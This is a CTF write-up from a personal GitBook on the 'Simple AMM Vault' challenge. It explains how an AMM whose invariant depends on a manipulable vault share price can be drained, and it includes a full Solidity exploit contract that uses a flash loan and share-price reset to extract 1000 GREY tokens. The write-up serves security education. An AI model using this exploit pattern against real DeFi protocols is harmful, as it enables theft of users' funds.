ctfwriteup
  • βœ…/home/ret2basic.eth
  • Web3 CTF
    • πŸ‘‘Damn Vulnerable DeFi V4
      • βœ…Unstoppable
      • βœ…Naive Receiver
      • βœ…Truster
      • βœ…Side Entrance
      • βœ…The Rewarder
      • βœ…Selfie
      • βœ…Compromised
      • βœ…Puppet
      • βœ…Puppet V2
      • βœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • πŸ‘‘Milotruck Challs
      • βœ…1. Greyhats Dollar
      • βœ…2. Escrow
      • βœ…3. Simple AMM Vault
      • 4. Voting Vault
      • βœ…5. Meta Staking
      • βœ…6. Gnosis Unsafe
      • βœ…7. Rational
      • 8. Launchpad
    • Secureum AMAZEX DSS Paris
      • βœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • βœ…Crystal DAO
      • βœ…Liquidatoooor
    • βœ…Ethernaut
      • βœ…Hello Ethernaut
      • βœ…Fallback
      • βœ…Fallout
      • βœ…Coin Flip
      • βœ…Telephone
      • βœ…Token
      • βœ…Delegation
      • βœ…Force
      • βœ…Vault
      • βœ…King
      • βœ…Re-entrancy
      • βœ…Elevator
      • βœ…Privacy
      • βœ…Gatekeeper One
      • βœ…Gatekeeper Two
      • βœ…Naught Coin
      • βœ…Preservation
      • βœ…Recovery
      • βœ…MagicNumber
      • βœ…Alien Codex
      • βœ…Denial
      • βœ…Shop
      • βœ…DEX
      • βœ…DEX Two
      • βœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • βœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • βœ…Flashbots MEV-Share CTF
    • βœ…Capture the Ether
      • βœ…Lotteries
      • βœ…Math
      • βœ…Miscellaneous
    • βœ…EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…More EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…QuillCTF
      • βœ…MetaToken
      • βœ…Temporary Variable
      • KeyCraft
      • βœ…Lottery
      • βœ…Private Club
      • Voting Machine
      • βœ…Predictable NFT
      • βœ…Invest Pool
      • PseudoRandom
      • βœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • βœ…Donate
      • βœ…WETH-11
      • Panda Token
      • Gate
      • βœ…WETH10
      • βœ…Pelusa
      • βœ…True XOR
      • βœ…Collatz Puzzle
      • βœ…D31eg4t3
      • βœ…Safe NFT
      • βœ…VIP Bank
      • βœ…Confidential Hash
      • βœ…Road Closed
    • βœ…unhacked
      • βœ…reaper
  • Paradigm CTF 2023 (Todo)
    • Oven
    • Dragon Tyrant
  • Remedy CTF 2025 (Todo)
    • Diamond Heist
    • R vs Q
    • Rich Man's Bet
    • Casino Avengers
    • Frozen Voting
    • Lockdown
    • Proof of Thought
    • Maybe it's unnecessary?
    • Et tu, Permit2?
    • Not a very LUCKY TOKEN
    • risc4
    • HealthCheck as a Service
    • Restricted Proxy
    • Unstable Pool
    • Opaze Whisperer
    • "memorable" onlyOwner
    • World of Memecraft
    • Copy/Paste/Deploy
    • Peer-to-peer-to-me
    • Joe's Lending Mirage
    • Tokemak
    • OFAC Executive Order 13337
  • Game Hacking
    • πŸ‘‘Pwn Adventure 3: Pwnie Island
      • βœ…Prep: Speed Hack
      • βœ…Prep: Infinite Health and Mana (Offline)
      • βœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • βœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • βœ…Step 1: Setup
      • βœ…Step 2: Scan for "Exact Value"
      • βœ…Step 3: Scan for "Unknown initial value"
      • βœ…Step 4: Scan for float and double
      • βœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • βœ…01 - ReturnBool
      • βœ…02 - SimpleRevert
      • βœ…03 - Return42
      • βœ…04 - RevertWithError
      • βœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024 (web challs)
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • βœ…Jarvis OJ Pwn Xman Series
    • βœ…Jarvis OJ Crypto RSA Series
    • βœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • βœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • βœ…Linux
        • βœ…Safe (Easy)
        • βœ…Delivery (Easy)
        • βœ…TheNotebook (Medium)
        • βœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • βœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • βœ…TCM Linux Privilege Escalation Course
      • βœ…TryHackMe - Simple CTF (Easy)
      • βœ…TryHackMe - Vulnversity (Easy)
      • βœ…TryHackMe - CMesS (Medium)
      • βœ…TryHackMe - UltraTech (Medium)
      • βœ…TryHackMe - LazyAdmin (Easy)
      • βœ…TryHackMe - Anonymous (Medium)
      • βœ…TryHackMe - tomghost (Easy)
      • βœ…TryHackMe - ConvertMyVideo (Medium)
      • βœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Codebase walkthrough
  • Bug description
  • PoC
  1. Web3 CTF
  2. Milotruck Challs

3. Simple AMM Vault

Codebase walkthrough

This CTF challenge presents a DeFi system composed of three main contracts:

  • GREY Token: A standard ERC20 token

  • SimpleVault: An ERC4626-like vault that allows staking GREY tokens for SV shares

  • SimpleAMM: An automated market maker that creates a liquidity pool between SV tokens and GREY tokens

The goal is to accumulate at least 3000 GREY tokens starting with only 1000 GREY from the claim function.

Let's examine the initial setup in the Setup.sol contract:

// Initial setup creates the following state:
// 1. Deploy GREY token and mint 4000 GREY to Setup
// 2. Deploy SimpleVault and SimpleAMM
// 3. Deposit 1000 GREY β†’ get 1000 SV (1:1 ratio initially)
// 4. Distribute 1000 GREY as rewards (increases totalAssets to 2000)
// 5. Add liquidity: 1000 SV + 2000 GREY to AMM pool

After setup, the vault state is:

  • totalAssets = 2000 GREY

  • totalSupply = 1000 SV

  • sharePrice = 2000/1000 = 2.0 (2 GREY per SV)

The AMM pool contains:

  • reserveX = 1000 (stored state variable)

  • reserveY = 2000 (stored state variable)

  • Actual balances: 1000 SV + 2000 GREY

  • k = 1000 + 2000/2.0 = 2000 (using the vault's share price in calculation)

Bug description

The critical vulnerability lies in how the SimpleAMM calculates its invariant and handles flash loans:

function computeK(uint256 amountX, uint256 amountY) internal view returns (uint256) {
    uint256 price = VAULT.sharePrice();
    return amountX + amountY.divWadDown(price);
}

The key issue is that flash loans don't update the stored reserveX and reserveY variables, but they allow for atomic replacement of the underlying SV tokens with different economic value.

Step 1: Initial Setup

setup.claim(); // Get 1000 GREY

Player now has: 1000 GREY

Step 2: Flash Loan 1000 SV

setup.amm().flashLoan(true, 1000e18, "");

Critical insight: During the flash loan:

  • AMM's actual SV balance: 1000 β†’ 0 SV (tokens sent to borrower)

  • AMM's stored reserveX: remains 1000 (unchanged)

  • AMM's stored reserveY: remains 2000 (unchanged)

Why flash loan 1000 SV, not other amount? It is because we want to drain totalSupply to make the vault go back to its β€œinitial state”:

    function deposit(uint256 assets) external returns (uint256 shares) {
        shares = toSharesDown(assets);
        require(shares != 0, "zero shares");

        totalAssets += assets;
        _mint(msg.sender, shares);
        
        GREY.transferFrom(msg.sender, address(this), assets);
    }
    
    function toSharesDown(uint256 assets) internal view returns (uint256) {
        if (totalAssets == 0 || totalSupply == 0) {
            return assets;
        }
        return assets.mulDivDown(totalSupply, totalAssets);
    }

Step 3: SV Token Replacement (in callback)

function onFlashLoan(uint256 svAmount, bytes calldata) external {
    // Burn 1000 SV for 2000 GREY
    setup.vault().withdraw(svAmount);

    // Deposit 1000 GREY for 1000 SV. Share price is now 1:1
    setup.grey().approve(address(setup.vault()), 1000e18);
    setup.vault().deposit(1000e18);
}

Before manipulation:

  • Vault: totalAssets = 2000, totalSupply = 1000, sharePrice = 2.0

  • Old SV tokens represent: 1000 SV Γ— 2.0 = 2000 GREY value

Complete drainage:

  • Withdraw 1000 SV β†’ get 2000 GREY

  • Vault state: totalAssets = 0, totalSupply = 0

  • Share price resets to 1.0 (triggered by totalSupply == 0)

Repopulation with manipulated ratio:

  • Deposit 1000 GREY β†’ get 1000 SV (at reset 1:1 ratio)

  • Vault state: totalAssets = 1000, totalSupply = 1000, sharePrice = 1.0

Flash loan repayment:

  • AMM gets back 1000 SV tokens, but these are new SV tokens with 1:1 GREY backing

  • AMM's stored reserves remain: reserveX = 1000, reserveY = 2000

Step 4: The Broken Invariant

When the flash loan completes, the invariant modifier executes:

modifier invariant {
    _;
    require(computeK(reserveX, reserveY) >= k, "K");
}

Crucial point: The invariant uses stored reserve values, not actual token balances:

  • computeK(1000, 2000) with new share price = 1000 + 2000/1.0 = 3000

  • Original stored k = 2000

  • Invariant check: 3000 >= 2000 βœ… (passes)

Step 5: Exploit the Phantom Value

// Drain 1000 GREY from AMM
setup.amm().swap(true, 0, 1000e18);

The AMM now has "phantom value" because:

  • It was initialized with k = 2000 (when SV had 2:1 backing)

  • But now computes k = 3000 (with SV having 1:1 backing)

  • The difference of 1000 can be extracted

By swapping 0 SV input for 1000 GREY output:

  • New stored reserves: reserveX = 1000, reserveY = 1000

  • New computed k = 1000 + 1000/1.0 = 2000

  • Invariant: 2000 >= 2000 βœ… (still satisfied)

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup } from "src/simple-amm-vault/Setup.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Claim 1000 GREY
        setup.claim();

        // Flash loan 1000 SV from the AMM
        setup.amm().flashLoan(true, 1000e18, "");

        // Drain 1000 GREY from the AMM
        setup.amm().swap(true, 0, 1000e18);

        // Transfer all GREY to msg.sender
        setup.grey().transfer(
            msg.sender, 
            setup.grey().balanceOf(address(this))
        );
    }

    function onFlashLoan(uint256 svAmount, bytes calldata) external {
        // Burn 1000 SV for 2000 GREY
        setup.vault().withdraw(svAmount);
        
        // Deposit 1000 GREY for 1000 SV. Share price is now 1:1
        setup.grey().approve(address(setup.vault()), 1000e18);
        setup.vault().deposit(1000e18);

        // Approve SV for AMM to return the flash loan
        setup.vault().approve(address(setup.amm()), svAmount);
    }
}
Previous2. EscrowNext4. Voting Vault

Last updated 3 hours ago

πŸ‘‘
βœ